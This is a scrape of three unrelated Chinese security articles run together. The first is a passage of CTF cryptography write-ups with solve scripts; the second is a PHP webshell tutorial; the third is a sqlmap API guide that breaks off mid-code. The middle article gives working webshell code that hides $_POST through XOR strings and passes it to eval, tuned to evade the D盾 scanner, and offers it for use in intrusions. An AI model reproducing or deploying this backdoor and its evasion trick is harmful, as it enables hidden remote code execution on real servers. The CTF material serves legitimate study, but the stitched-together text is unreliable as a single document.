"?"`进行加密，并将加密后的密文以16进制形式打印给选手，此即为`"Question"`字符串后面的16进制串。接下来接收用户输入，如果用户输入的数等于`x
+ y`的值，则将`FLAG`经过前面生成的RSA公钥加密后的密文打印给选手，否则程序结束。
`sub_1B3E`函数部分代码：
因此为了拿到`FLAG`，我们需要通过分解`N`计算出程序使用的公钥对应的私钥，然后先使用该私钥解密`"Question"`字符串后面的密文，得到随机数`x`和`y`的值，再提交`x
+ y`的值，得到FLAG的密文，最后再使用该私钥对`FLAG`的密文进行解密，即可得到`FLAG`。
根据(2)式和(3)式，本题中`N`的表达式为：
在得到`N`的表达式后，首先说一下非预期解，非预期解无需用到任何Coppersmith相关攻击，对(4)式变形可得：
此时有：
观察(1)式中的`x`，`x`是区间`[ 0, 2^(2 * (128 - l))
)`上的一个随机数，当我们输入长度为最大长度120的16进制串时，`x`会落入`[0,
2^16)`这样一个小区间，此时我们可以穷举一个小区间，此时我们可以穷举x的值，对于穷举的每一个`x`，根据(1)式计算出其相应的`r`，然后根据(6)式是否成立来判断计算出的`r`是否正确，这样一来我们即可恢复出`r`的值。
恢复出`r`的值之后，对(5)式等式两边同除以`2 * r`，有：
此时有：
由于本题中`p`不等于`q`，根据(2)式和(3)式可知`k_0`不等于`k_1`，由于`k_0`和`k_1`都是区间`[0, r +
1)`上的随机数，因此一定有`k_0 + k_1 < 2 * r`，此时有：
联立(5)式和(9)式，即可求出`k_0`和`k_1`，从而成功分解`N`，继而解密密文拿到两个随机数的值，提交两个随机数的和拿到`FLAG`的密文，再次进行解密即可拿到`FLAG`。
接下来说一下预期解，本题原本是想考察Coppersmith相关攻击，观察(4)式，设：
则有：
设`f(x) = 2 * r * x + 1, x in
Zmod(N)`，然后我们仍然可以穷举`r`，此时我们可以通过Coppersmith相关攻击中计算计小整数解的方式来获取到`x`的值（也即`k_0`的值，`k_1`同理），POC如下（注意在SageMath下使用`small_roots`方法计算小整数解时要求多项式为首一多项式，因此我们需要将多项式形式做一个变形）：
sage: P.<x> = PolynomialRing(Zmod(N))
....: f = x + inverse_mod(2 * r, N)
....: res = f.small_roots(X = r, beta = 0.4)
....: k_0 in res
....:
True
这样一来即可分解`N`，后面的步骤和前面相同，然后按照前面所说的步骤依次提交和计算即可拿到`FLAG`。
p.s.
根据(4)式中`N`的表达式，本题还可直接采用Coron
attack（即双变量版本的Coppersmith攻击）来分解`N`，相关实现可见[这里](https://github.com/ubuntor/coppersmith-algorithm)。
### 解题脚本
#!/usr/bin/env sage
import rsa
from gmpy2 import iroot
from pwn import *
from Crypto.Util.number import *
io = remote('coooppersmith.challenges.ooo', 5000)
#io = process("./service")
user_input = '000000000000000000000000000000000000000000000000000000000000111111111111111111111111111111111111111111111111111111111111'
io.sendline(user_input)
_ = io.recvline()
pkeydata = io.recvuntil("-----END RSA PUBLIC KEY-----\n")
_ = io.recvline()
sum_ct = int(io.recvline().strip(), 16)
pubkey = rsa.PublicKey.load_pkcs1(pkeydata)
N = pubkey.n
e = pubkey.e
for x in range(0, 2**16):
r = int(user_input, 16) * 2**32 + x
if (N - 1) % r == 0:
break
P.<x> = PolynomialRing(Zmod(N))
f = x + inverse_mod(2 * r, N)
res = f.small_roots(X = r, beta = 0.4)
k_0 = int(res[0])
p = 2 * r * k_0 + 1
q = N // p
d = inverse(e, (p - 1) * (q - 1))
sum_pt = pow(sum_ct, d, N)
tmp = long_to_bytes(sum_pt)
tmp = tmp[:-1].split(b"of ")[1].split(b" and ")
sum = int(tmp[0]) + int(tmp[1])
io.sendline(str(sum))
_ = io.recvline()
ct = int(io.recvline().strip(), 16)
pt = pow(ct, d, N)
FLAG = long_to_bytes(pt)
print(FLAG)
# OOO{Be_A_Flexible_Coppersmith}
## notbefoooled
### 题目描述
> What’s the trick to not be foooled?
> notbefoooled.challenges.ooo 5000
> 143/500 pts, 30 solves
>
> [附件](https://share.weiyun.com/yM2xKp0u)
### 解题思路
首先先说一下非预期解，本题本身预期是使用python3版本的SageMath来部署本题的Sage脚本，但是在部署时错误的使用了python2版本来部署，而本题在接受用户输入时直接使用了`input`函数，因此我们可以使用`input`函数的任意代码执行漏洞来直接拿到`FLAG`：
然后我们来看一下预期解，服务器首先要求选手提供一条椭圆曲线的`a`、`b`和`p`这3个参数的值，要求该曲线为anomalous曲线（即曲线的阶等于`p`）且`p`的值大于某一阈值，接下来服务器会随机选择该曲线的一个基点`G`并打印给选手，然后要求选手提交该曲线上的一个点`G
* k`，随后服务器会用[Smart’s
attack](https://wstein.org/edu/2010/414/projects/novotney.pdf)对选手提供的曲线和点进行攻击，如果服务器成功计算出了`k`，则选手失败并中断连接，否则选手拿到`FLAG`。
那么接下来我们要分析的问题就是一条anomalous曲线在什么情况下会使得题目中给出的Smart’s
attack的实现失效，查阅论文[资料](https://link.springer.com/content/pdf/10.1007/s001459900052.pdf)可以发现，Smart’s
attack的思路是通过将`F_p`上的曲线提升到`Q_p`上来实现对ECDLP的化简计算的：
但是当提升后的`Q_p`上的曲线同`F_p`上的曲线同构（即出现canonical
lift的情况）时，在(1)式（计算`k`的最终表达式）中的分子和分母均为0，此时我们无法再正确计算出`k`的值：
那么我们的问题就变成了如何生成一条anomalous曲线使得它到`Q_p`的trivial lift就是canonical
lift，根据[该篇论文](http://www.monnerat.info/publications/anomalous.pdf)我们可以看到，一个较为简单的方案就是直接选择`d
= 3, D = 3`的情况（此时j不变量的值等于0），此时素数`p`应满足的表达式形如：
本题中的阈值预期`p`的值在220到225比特之间，因此我们可以在`[2^113,
2^114]`区间内穷举`v`的值（保证生成的`p`的值大于最大值），对于每一个`v`计算出一个`p`的值，同时我们计算出曲线的参数`a`和`b`的值为（[参见3.2节](https://csrc.nist.gov/csrc/media/events/workshop-on-elliptic-curve-cryptography-standards/documents/papers/session1-miele-paper.pdf)）：
由于j不变量的值等于0因此`a`的值直接为0，同时由于`d % 8 == 3`因此`s`的值为1，然后对于得到的每一组`(p, a,
b)`，生成椭圆曲线并检查曲线的阶是否等于素数`p`，若等于则向服务器提交该组`(p, a,
b)`，然后接收服务器返回的点`G`，生成一个随机数k并提交点`G * k`即可得到`FLAG`。
p.s.
实际上从论文中我们也可以看到，canonical lift出现的情况的概率约为`1/p`，我们本题之所以能够很快找到一种办法使得Smart’s
attack失效，是因为本题中Smart’s
attack的SageMath实现是有缺陷的（可以参见crypto.stackexchange中的[这一问题](https://crypto.stackexchange.com/questions/70454/why-smarts-attack-doesnt-work-on-this-ecdlp)），当我们实现Smart’s
attack时，如果我们恰好落入了canonical lift的情况，只需要对lift随机化即可，即一个更为有效的Smart’s
attack应该是将本题中的这行代码：
Eqp = EllipticCurve(Qp(p, 8), [ZZ(t) for t in E.a_invariants()])
修改为：
Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])
这样一来在很大程度上即可避免出现Smart’s attack攻击失败的这种情况。
### 解题脚本
#!/usr/bin/env sage
from pwn import *
'''
BITS = 113
def p_gen(BITS):
for i in range(2**BITS, 2**(BITS + 1)):
koeff = 1 + 3 * i * i
if koeff % 4 != 0:
continue
p = koeff // 4
if not is_prime(p):
continue
j_invar = 0
a = 0
b = (54 * 3 * pow(3 * 12**3, inverse_mod(2, p), p)) % p
E = EllipticCurve(GF(p), [a, b])
if p == E.order():
return (a, b, p)
'''
a = 0
b = 839808
p = 80879840001451919384001045261062739512883607574894458541090782884541
E = EllipticCurve(GF(p), [a, b])
io = remote("notbefoooled.challenges.ooo", 5000)
io.sendlineafter("a = ", str(a))
io.sendlineafter("b = ", str(b))
io.sendlineafter("p = ", str(p))
_ = io.recvuntil(b"generator: (")
tmp = io.recvline().strip().replace(b')', b'').split(b", ")
G = E(int(tmp[0]), int(tmp[1]))
k = randrange(1, p)
P = k * G
io.sendlineafter("x = ", str(P[0]))
io.sendlineafter("y = ", str(P[1]))
io.recv()
# OOO{be_Smarter_like_you_just_did}
## ooo-flag-sharing
### 题目描述
> Share flags safely with the latest OOO service!
> ooo-flag-sharing.challenges.ooo 5000
>
> 135/500 pts, 36 solves
>
> [附件](https://share.weiyun.com/L64mDVnk)
### 解题思路
本题自定义了一个(5,100)门限的密钥共享协议，`share`的计算方式如下：
矩阵`S`中的100个元素代表100个`share`，矩阵`X`的第一个元素代表`secret`，其余4个元素代表区间`[0,
P]`上的4个随机数（即计算时会将`secret`填充为一个`5 X
1`的矩阵），而矩阵`M`和`P`的值则分别来自`prime.ooo`和`matrix.ooo`这两个文件，其中`prime.ooo`文件存储的是一个256比特的安全素数，`matrix.ooo`文件存储的是一个100*5的随机矩阵，矩阵中每一个元素的值均为正整数且不超过1000。程序在首次启动时会对这两个文件进行初始化，由于程序每次会首先检查同目录下是否存在这两个文件，如果存在则直接读取已有文件而不再重新创建，因此本题中这两个文件中存储的内容对选手来讲恒定不变。
而已知任意5个`share`，我们即可根据下式恢复出矩阵`X`：
其中矩阵`X`的第一个元素即为`secret`，从而实现对`secret`的恢复。这里可以注意到，(1)式没有在模`P`下进行计算，而(2)式是在模`P`下进行计算的，这一漏洞为我们后面的攻击提供了可能，我们可以先记下这一漏洞。
接下来我们来看一下题目的流程，用户每次连接到服务器时，服务器会要求选手输入一个用户名，若不为程序设置的几个保留用户名，则会在同目录下创建一个`shares/用户名`目录，下次连接时如果还输入相同用户名则不再重复创建。接下来程序向选手提供了四个功能：
* **功能1**
选手可以提供一个`secret`，然后程序将`secret`的16进制形式的md5哈希值的前6个字符作为`secret_id`，选手可以设置将其分享给`num`个人（`num>=5`），程序会根据`secret`的值生成`num`个`share`，然后将其随机置换，置换后的第一个`share`的值会保存在服务器上的该用户文件夹下的`secret_id.1`文件中，其余的`share`会打印给选手。
* **功能2**
选手可以提供一个`secret_id`，再提供若干个`share`，服务器会使用该`secret_id`对应的一个`share`和选手提供的`share`来尝试恢复出`secret`，并将恢复出的内容打印给选手。
* **功能3**
服务器将`FLAG`作为`secret`来生成5个`share`，然后将其随机置换，置换后的第一个`share`的值会保存在服务器上的该用户文件夹下的`secret_id.1`文件中，第二个`share`的值会保存在服务器上的该用户文件夹下的`secret_id.2`文件中，其余的3个`share`会打印给选手。同时程序随机生成一个3字节的字节串，将其16进制形式的字符串来作为`secret_id`。
* **功能4**
选手可以提供一个`secret_id`，再提供若干个`share`，服务器会使用该`secret_id`对应的两个`share`和选手提供的`share`来尝试恢复出`secret`，若恢复出的内容以`b"OOO{"`开头，则会打印给选手恢复成功的提示。
接下来我们分析一下如何借助这些功能拿到`FLAG`，我们先来看一下预期解，首先我们执行一次功能3，拿到一个`secret_id`和3个`share`，设此时`FLAG`表示为：
其中`s_a`到`s_e`为关于`FLAG`的5个`share`，`m_a`到`m_e`为`5 X
5`矩阵`M`在模`P`下的逆矩阵中同`s_a`到`s_e`对应的5个值，假设这里`s_a`和`s_b`为服务器存储到`secret_id.1`和`secret_id.2`文件中的两个`share`，`s_c`、`s_d`和`s_e`为打印给选手的三个`share`，注意到在本题中，整数和字节串之间的转换是采用小端模式，此时功能4中检查字节串形式的`FLAG`是否以`b"OOO{"`开头即等价于检查整数形式的`FLAG`的低32位是否为：
01111011010011110100111101001111
那么假设选手将`s_e`的值修改为`s_e + inverse(m_e, P) * (x <<
32)`，此时根据(3)式，程序恢复出的结果将变为`(FLAG + x << 32) %
P`，由于该操作是在模`P`下进行的，因此此时我们就可以将程序中的功能4看成一个ORACLE，然后在区间`[0, P >>
32]`上用二分搜索即可求出`FLAG`的值，即当`(FLAG + x << 32) >=
P`的时候，此时恢复出的内容将不再以`b"OOO{"`开头；当`(FLAG + x << 32) <
P`的时候，此时恢复出的内容仍以`b"OOO{"`开头，我们可以通过这种方法找到一个最小的`x`，使得`(FLAG + x << 32) >=
P`成立，此时`P - (x << 32)`的值转换为字节串`y`后，`b"OOO{" +
y[4:]`即为字节串形式的`FLAG`，从而我们恢复出了`FLAG`的内容。
那么要想按照这种利用ORACLE +
二分搜索的方法恢复出`FLAG`，首先我们需要先从服务器上泄漏出素数`P`的值，我们可以先利用两次功能1，提交两个其整数形式的值大于`P`的不同的字节串作为`secret`，设其对应的整数形式的值分别`input_a`和`input_b`，然后将得到的`share`分别提交到功能2，设恢复出的内容为`secret_a`和`secret_b`，则有：
将同余式转化为等式，有：
因此我们利用最大公约数恢复出`P`：
恢复出`P`以后，我们还需要恢复出`m_e`的值，我们可以令`s_a`到`s_d`的值均为0，令`s_e`的值为1，然后向功能2提交`s_a`到`s_e`这5个`share`，此时功能2恢复出来的即为`m_e`的值，但是由于`s_a`和`s_b`存入了文件，因此这里的下标`a`和`b`的值我们是未知的，但是鉴于`a`和`b`的取值范围为`[1,
99]`（本题中`split_secret`返回的是`shares[1:]`，因此下标值不会出现等于0的情况），因此我们可以遍历`a`和`b`的值，然后对于计算出的每一个`m_e`的值，我们将将`s_e`的值修改为`s_e
+ inverse(m_e, P) * (1 << 32)`，然后向功能4提交`s_c`、`s_d`和`s_e + inverse(m_e, P) * (1
<< 32)`进行测试，若功能4显示提示恢复成功，则可以认为此时的`m_e`恢复正确，此时所有需要的未知量我们都已确定，我们再使用上面提到的ORACLE +
二分搜索的方法恢复出`FLAG`即可。
接下来我们看一下非预期解，本题的非预期解可以直接在不使用功能4的情况下恢复出`FLAG`，首先我们需要恢复出矩阵`M`（即`matrix.ooo`文件中的内容），观察(1)式，假设我们使用多次（大于5次即可）功能1拿到若干组`share`，若我们将这些`share`组合成一个新的矩阵`S`，根据(1)式，对于新的矩阵`S`的转置中的每一个行向量，都可以由矩阵M的转置中的所有行向量的线性组合来表示，鉴于矩阵`M`中元素的值远远小于矩阵`X`和矩阵`S`中的元素的值，因此我们可以通过对矩阵`S`使用LLL算法进行格基规约，然后对规约后的矩阵的行向量之间的线性组合进行遍历，每得到一个所有元素的值均在区间`[0,
1000)`的行向量，即为矩阵`M`中的一个列向量，但是得到这些列向量之后我们无法确认这些列向量之间的排列顺序，因此可以尝试对其排列组合进行穷举，同时，由于本题中`split_secret`返回的是`shares[1:]`，因此我们这种情况下无法准确恢复出矩阵`M`中的第一行，不过已经足够本题中恢复`FLAG`，鉴于`X`矩阵中的元素均小于`P`，我们可以收集足够数量的关于`FLAG`的`share`，然后通过使用LLL算法进行格基规约来解方程求出`FLAG`即可，相关实现可参考[这里](https://gist.github.com/nomeaning777/8c8cc446fdf1e7a151ae30d72600c312)。
### 解题脚本
#!/usr/bin/env python3
from pwn import *
from math import gcd
from Crypto.Util.number import *
def fun_1(io, secret, num):
io.sendlineafter('Choice: ', '1')
io.sendlineafter('Enter secret to share: ', secret)
_ = io.recvuntil("Your secret's ID is: ")
secret_id = io.recvline().strip()
io.sendlineafter('Number of shares to make: ', str(num))
_ = io.recvuntil('Your shares are: ')
shares = eval(io.recvline().strip())
return secret_id, shares
def fun_2(io, secret_id, shares):
io.sendlineafter('Choice: ', '2')
io.sendlineafter("Enter the secret's ID: ", secret_id)
io.sendlineafter('Enter your shares of the secret: ', str(shares))
_ = io.recvuntil('Your secret is: ')
secret = io.recvline().strip()
secret = eval(secret)
return secret
def fun_3(io):
io.sendlineafter('Choice: ', '3')
io.recvuntil("Our secret's ID is: ")
secret_id = io.recvline().strip()
io.recvuntil("Your shares are: ")
shares = eval(io.recvline().strip())
return secret_id, shares
def fun_4(io, secret_id, shares):
io.sendlineafter('Choice: ', '4')
io.sendlineafter("Enter the secret's ID: ", secret_id)
io.sendlineafter("Enter your shares of the secret: ", str(shares))
res = io.recvline()
return res.startswith(b"Congrats!")
def recover_P(io):
input_a = b'~' * 40
input_b = b'~' * 41
secret_id, shares = fun_1(io, input_a, 5)
secret_a = fun_2(io, secret_id, shares)
secret_id, shares = fun_1(io, input_b, 5)
secret_b = fun_2(io, secret_id, shares)
kp = int.from_bytes(input_a, 'big') - int.from_bytes(secret_a, 'little')
gp = int.from_bytes(input_b, 'big') - int.from_bytes(secret_b, 'little')
P = gcd(kp, gp)
if not isPrime(P):
for i in range(2, 100, 2):
if isPrime(P // i):
P = P // i
break
return P
def recover_m_e(io, secret_id, shares, P):
known_idx = [share[0] for share in shares]
for a in range(1, 100):
for b in range(a + 1, 100):
if (a in known_idx) or (b in known_idx):
continue
m_e = int.from_bytes(fun_2(io, secret_id, [(a, 0), (b, 0), (known_idx[0], 0), (known_idx[1], 0), (known_idx[2], 1)]), 'little')
token = fun_4(io, secret_id, shares[:-1] + [(shares[2][0], (shares[2][1] + (1 << 32) * inverse(m_e, P)) % P)])
if token:
return m_e
def binary_search_x(io, secret_id, shares, P, m_e):
low = 0
high = P >> 32
while low <= high:
x = (low + high) // 2
token = fun_4(io, secret_id, shares[:-1] + [(shares[2][0], (shares[2][1] + (x << 32) * inverse(m_e, P)) % P)])
if token:
low = x + 1
else:
high = x - 1
return x
if __name__ == "__main__":
io = remote("ooo-flag-sharing.challenges.ooo", 5000)
io.sendlineafter("Username: ", "roadicing")
secret_id, shares = fun_3(io)
P = recover_P(io)
m_e = recover_m_e(io, secret_id, shares, P)
x = binary_search_x(io, secret_id, shares, P, m_e)
FLAG = b"OOO{" + (P - (x << 32)).to_bytes(32, 'little')[4:]
print(FLAG)
# OOO{ooo_c4nt_ke3p_secr3ts!}
## 参考资料
[1]
<https://www.tandfonline.com/doi/abs/10.1080/00207160212708?journalCode=gcom20>
[2] <https://github.com/ubuntor/coppersmith-algorithm>
[3] <https://wstein.org/edu/2010/414/projects/novotney.pdf>
[4] <https://link.springer.com/content/pdf/10.1007/s001459900052.pdf>
[5] <http://www.monnerat.info/publications/anomalous.pdf>
[6] <https://csrc.nist.gov/csrc/media/events/workshop-on-elliptic-curve-cryptography-standards/documents/papers/session1-miele-paper.pdf>
[7] <https://crypto.stackexchange.com/questions/70454/why-smarts-attack-doesnt-work-on-this-ecdlp>
[8] <https://gist.github.com/nomeaning777/8c8cc446fdf1e7a151ae30d72600c312> | 社区文章 |
# PHP7.1后webshell免杀的去路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 严格的D盾
D盾说，我是个严格的人，看到eval我就报木马，“看着像“=”就是“木马，宁可错杀一千，绝不放过一个。好了，多说无益，一起看看严格的D盾是如何错杀的。
我随手写一个php文件：代码如下：
<?php
function encode($para0){
return $para0;
}
$b = encode("aaaa");
$a = "ccc";
eval($a);
?>
很明显没有传参呀，GET和POST都没有，压根儿就不是木马的，但是D盾竟然给我直接报了已知后门，我哭辽，如下：
大家最初的绕过应该大多都是基于”assert”的拆分和隐藏绕过的，但是在php7.1后assert已经被移除了，那么我们这些渗透测试er该何去何从呢？，能否找到新的技巧呢？当然，技巧千千万，找一些少见的函数，少见的特殊字符都是不错的选择。但是我们能否借助在php7.1之前的隐藏和拆分”assert“的思路呢？答案是肯定的，我们可以尝试隐藏和拆分传入eval中的参数来直面eval函数绕过。
## 隐藏POST和GET
在php7.1之后，如果我们转换思路，不再纠结于隐藏assert，eval等命令执行函数(因为assert已经失效，也无法隐藏了，无需隐藏了)，而是直接面对eval，在我上述的例子中大家很容易看到，我就随便往eval中传了一个参数“ccc”，D盾就直接报已知后门了，这足以说明D盾对传入eavl参数的敏感性太高了。那么此时，我们隐藏一下我们一句话木马中常用和必须的GET和POST就有必要了。于是编写如下木马：(注明：此木马D盾会报一级可疑)
$a = "~+d()"^"!{+{}";
$b = ${$a}[a];
eval($b);
简单解释一下：
变量$a的值我是利用异或赋值的，`$a =
"~+d()"^"!{+{}";`，而字符串`"~+d()"^"!{+{}"`异或的结果为`_POST`，我直接输出给大家看看：
`echo $a`即为如下结果：
然后`$b = ${$a}[a];`与`$b =
$_POST[a]`等价，在将其传入eval()中，我们就成功了第一步，我们已经使得D盾报木马的级别降低了，由”5级
已知后门“变为”1级可疑（内藏）Eval后门{参数：$b（未知内容）}“了，哈哈，这就说明此时我们已经成功隐藏了我们所传入的参数，但是D盾在这里有点“我不认识的都可疑，宁可错杀一千，绝不放过一个了”，既然D盾这么较真，我们也较真点，彻底绕过。
经过上述测试发现，D盾只要在eval函数内发现了它未能识别的参数就会报出可疑，未知内容，又由于我们从一开始的切入点就是eval中的参数，所以此时我依旧针对eval中的参数进行处理：处理后的结果如下：
<?php
$a = "~+d()"^"!{+{}";
$b = ${$a}[a];
eval("n".$b);
?>
我们仅仅在参数`$b`的前面加上`“n"`就成功绕过了，当然同理，你也可以在参数$b的前面加上`""`、`"t"`、`"r"`等等也是可以绕过的。
木马密码：a
d盾扫描结果：
## 总结
在php7.1之后，显而易见的是免杀的难度大大增加了，因为灵活的assert被抛弃了，我们再也没有办法通过回调函数调用assert，或者其他的方式隐藏，拆分，调用assert，隐蔽的传参给assert。这个时候我们必须直面eval了，从传入eval的参数入手，隐藏GET和POST，配合一些特殊字符打乱正则，方可达到绕过检测的目的。当然也不排除使用特殊函数绕过。现在还能大量发表绕过的方法完全是因为现在还没有完全过度到php7.1之后，等到完全过度到php7.1之后估计大家的免杀马都要捂着用了，因为免杀的难度和代价变大了。此文供大家日后面对php7.1之后的环境参考绕过。 | 社区文章 |
**作者：看不尽的尘埃**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
# 前言
以前觉得 sqlmap 自己玩得挺溜了，结果最近有一个任务，需要调用 sqlmap api 接口来验证存在 sql
注入漏洞的站点，一开始听到这个任务觉得完了，可能完成不了了，后来我去网上搜了搜相关的资料，发现关于这方面的资料确实挺少的，于是参观了一下sqlmap
的源码，大致摸清楚了如何调用 api 接口。因此，笔者打算写一篇完整些的文章，才有了本文。
**笔者技术有限，有错误或者写的不好的地方敬请谅解！**
# 为什么要使用sqlmap API？
由于SQLMAP每检测一个站点都需要开启一个新的命令行窗口或者结束掉上一个检测任务。虽然 -m
参数可以批量扫描URL，但是模式也是一个结束扫描后才开始另一个扫描任务。 通过 api 接口，下发扫描任务就简单了，无需开启一个新的命令行窗口。
# 下载与安装
如果您需要使用 sqlmap api接口或者没安装 sqlmap 工具的，您需要下载安装sqlmap程序。而sqlmap是基于Python 2.7.x
开发的，因此您需要下载Python 2.7.x。
* Python 2.7.x 下载地址：<https://www.python.org/downloads/release/python-2715/>
* sqlmap 下载地址：<https://github.com/sqlmapproject/sqlmap/zipball/master>
安装过程我这里就不详细说了，不会的话可以问问度娘(<https://www.baidu.com/s?wd=sqlmap%E5%AE%89%E8%A3%85%E6%95%99%E7%A8%8B>)
sqlmap的目录结构图如下：
sqlmap 安装完成后，输入以下命令，返回内容如下图一样，意味着安装成功：
python sqlmap.py -h
# sqlmap api
说了那么多，到底 api 如何使用呢？在下载安装 SQLMAP 后，你会在 sqlmap 安装目录中找到一个 sqlmapapi.py 的文件，这个
sqlmapapi.py 文件就是 sqlmmap api。 sqlmap api 分为服务端和客户端，sqlmap api 有两种模式，一种是基于
HTTP 协议的接口模式，一种是基于命令行的接口模式。
## sqlmapapi.py 的使用帮助
通过以下命令获取 sqlmapapi.py 的使用帮助：
python sqlmapapi.py -h
返回的信息：
Usage: sqlmapapi.py [options]
Options:
? -h, --help? ? ? ? ? ? 显示帮助信息并退出
? -s, --server? ? ? ? ? 做为api服务端运行
? -c, --client? ? ? ? ? 做为api客户端运行
? -H HOST, --host=HOST? 指定服务端IP地址 (默认IP是 "127.0.0.1")
? -p PORT, --port=PORT? 指定服务端端口 (默认端口8775)
? --adapter=ADAPTER? ? ?服务端标准接口 (默认是 "wsgiref")
? --username=USERNAME? ?可空，设置用户名
? --password=PASSWORD? ?可空，设置密码
## 开启api服务端
无论是基于 HTTP 协议的接口模式还是基于命令行的接口模式，首先都是需要开启 api 服务端的。 通过输入以下命令即可开启 api 服务端:
python sqlmapapi.py -s
命令成功后，在命令行中会返回一些信息。以下命令大概的意思是 api 服务端在本地 8775 端口上运行，admin token
为`1acac56427f272e316fceabe5ddff5a5`，IPC 数据库的位置在`/tmp/sqlmapipc-zOIGm_`，api
服务端已经和 IPC 数据库连接上了，正在使用 bottle 框架 wsgiref 标准接口。
[19:53:57] [INFO] Running REST-JSON API server at '127.0.0.1:8775'..
[19:53:57] [INFO] Admin (secret) token: 1acac56427f272e316fceabe5ddff5a5
[19:53:57] [DEBUG] IPC database: '/tmp/sqlmapipc-zOIGm_'
[19:53:57] [DEBUG] REST-JSON API server connected to IPC database
[19:53:57] [DEBUG] Using adapter 'wsgiref' to run bottle
但是通过上面的这种方式开启 api 服务端有一个缺点，当服务端和客户端不是一台主机会连接不上，因此如果要解决这个问题，可以通过输入以下命令来开启 api
服务端:
python sqlmapapi.py -s -H "0.0.0.0" -p 8775
命令成功后，远程客户端就可以通过指定远程主机 IP 和端口来连接到 API 服务端。
### 固定 admin token
如果您有特殊的需求需要固定 admin token 的话，可以修改文件 api.py，该文件在 sqlmap
目录下的`/lib/utils/`中，修改该文件的第 661 行代码，以下是源代码：
DataStore.admin_token = hexencode(os.urandom(16))
## sqlmap api 的两种模式
### 命令行接口模式
输入以下命令，可连接 api 服务端，进行后期的指令发送操作：
python sqlmapapi.py -c
如果是客户端和服务端不是同一台计算机的话，输入以下命令：
python sqlmapapi.py -c -H "192.168.1.101" -p 8775
输入以上命令后，会进入交互模式，如下图所示：
#### 命令行接口模式的相关命令
通过在交互模式下输入 help 命令，获取所有命令，以下是该接口模式的所有命令：
api> help
help? ? ? ? ? ?显示帮助信息
new ARGS? ? ? ?开启一个新的扫描任务
use TASKID? ? ?切换taskid
data? ? ? ? ? ?获取当前任务返回的数据
log? ? ? ? ? ? 获取当前任务的扫描日志
status? ? ? ? ?获取当前任务的扫描状态
option OPTION? 获取当前任务的选项
options? ? ? ? 获取当前任务的所有配置信息
stop? ? ? ? ? ?停止当前任务
kill? ? ? ? ? ?杀死当前任务
list? ? ? ? ? ?显示所有任务列表
flush? ? ? ? ? 清空所有任务
exit 退出客户端 t? ? ? ? ? ?
既然了解了命令行接口模式中所有命令，那么下面就通过一个 sql 注入来演示该模式接口下检测 sql 注入的流程。
#### 检测 GET 型注入
通过输入以下命令可以检测 GET 注入
new -u "url"
虽然我们仅仅只指定了`-u`参数，但是从返回的信息中可以看出，输入 new
命令后，首先先请求了`/task/new`，来创建一个新的`taskid`，后又发起了一个请求去开始任务，因此可以发现该模式实质也是基于 HTTP 协议的。
通过输入 status 命令，来获取该任务的扫描状态，若返回内容中的 status 字段为terminated，说明扫描完成，若返回内容中的 status
字段为 run，说明扫描还在进行中。
下图是扫描完成的截图：
通过输入 data 命令，来获取扫描完成后注入出来的信息，若返回的内容中 data 字段不为空就说明存在注入。
下图是存在 SQL 注入返回的内容，可以看到返回的内容有数据库类型、payload、注入的参数等等。
下图是不存在注入返回的内容，data 字段为空：
#### 检测 POST 型、cookie、UA 等注入
通过输入以下命令，在 data.txt 中加入星号，指定注入的位置，来达到检测 POST、cookie、UA 等注入的目的：
new -r data.txt
#### 总结
基于命令行的接口模式用起来还是比较方便的，我们只需要通过 new 命令就可以自动创建 taskid
并开始该任务，但是如果写程序调用的话可能就不是那么友善了，因此笔者会重点介绍下面的一种接口模式，基于 HTTP 协议的接口模式。
### 基于HTTP协议的接口模式
下列都是基于 HTTP 协议 API 交互的所有方法：
提示：“@get” 就说明需要通过 GET 请求的，“@post” 就说明需要通过 POST 请求的；POST 请求需要修改 HTTP 头中的
Content-Type 字段为`application/json`。
#辅助
@get('/error/401')
@get("/task/new")
@get("/task/<taskid>/delete")
#Admin 命令
@get("/admin/list")
@get("/admin/<token>/list")
@get("/admin/flush")
@get("/admin/<token>/flush")
#sqlmap 核心交互命令
@get("/option/<taskid>/list")
@post("/option/<taskid>/get")
@post("/option/<taskid>/set")
@post("/scan/<taskid>/start")
@get("/scan/<taskid>/stop")
@get("/scan/<taskid>/kill")
@get("/scan/<taskid>/status")
@get("/scan/<taskid>/data")
@get("/scan/<taskid>/log/<start>/<end>")
@get("/scan/<taskid>/log")
@get("/download/<taskid>/<target>/<filename:path>")
#### @get('/error/401')
该接口在我的理解表明首先需要登录（Admin token），不然会返回状态码 401。 具体代码如下：
? ? response.status = 401
? ? return response
#### @get("/task/new")
该接口用于创建一个新的任务，使用后会返回一个随机的 taskid。 具体代码如下：
def task_new():
? ? """
? ? Create a new task
? ? """
? ? taskid = hexencode(os.urandom(8))
? ? remote_addr = request.remote_addr
? ? DataStore.tasks[taskid] = Task(taskid, remote_addr)
? ? logger.debug("Created new task: '%s'" % taskid)
? ? return jsonize({"success": True, "taskid": taskid})
下图是调用该接口的截图：
#### @get("/task//delete")
该接口用于删除 taskid。在调用时指定 taskid，不指定 taskid 会有问题。 具体代码如下：
def task_delete(taskid):
? ? """
? ? Delete an existing task
? ? """
? ? if taskid in DataStore.tasks:
? ? ? ? DataStore.tasks.pop(taskid)
? ? ? ? logger.debug("(%s) Deleted task" % taskid)
? ? ? ? return jsonize({"success": True})
? ? else:
? ? ? ? response.status = 404
? ? ? ? logger.warning("[%s] Non-existing task ID provided to task_delete()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Non-existing task ID"})
下图是调用该接口的截图：
#### @get("/admin/list")/@get("/admin//list")
该接口用于返回所有 taskid。在调用时指定 taskid，不指定 taskid 会有问题。 具体代码如下：
def task_list(token=None):? ?
"""
? ? Pull task list
? ? """
? ? tasks = {}
? ? for key in DataStore.tasks:
? ? ? ? if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr:
? ? ? ? ? ? tasks[key] = dejsonize(scan_status(key))["status"]
? ? logger.debug("(%s) Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr))
? ? return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)})
下图是调用该接口的截图：
#### @get("/admin/flush")/@get("/admin//flush")
该接口用于删除所有任务。在调用时指定admin token，不指定admin token可能会有问题。 具体代码如下：
def task_flush(token=None):
? ? """
? ? Flush task spool (delete all tasks)
? ? """
? ? for key in list(DataStore.tasks):
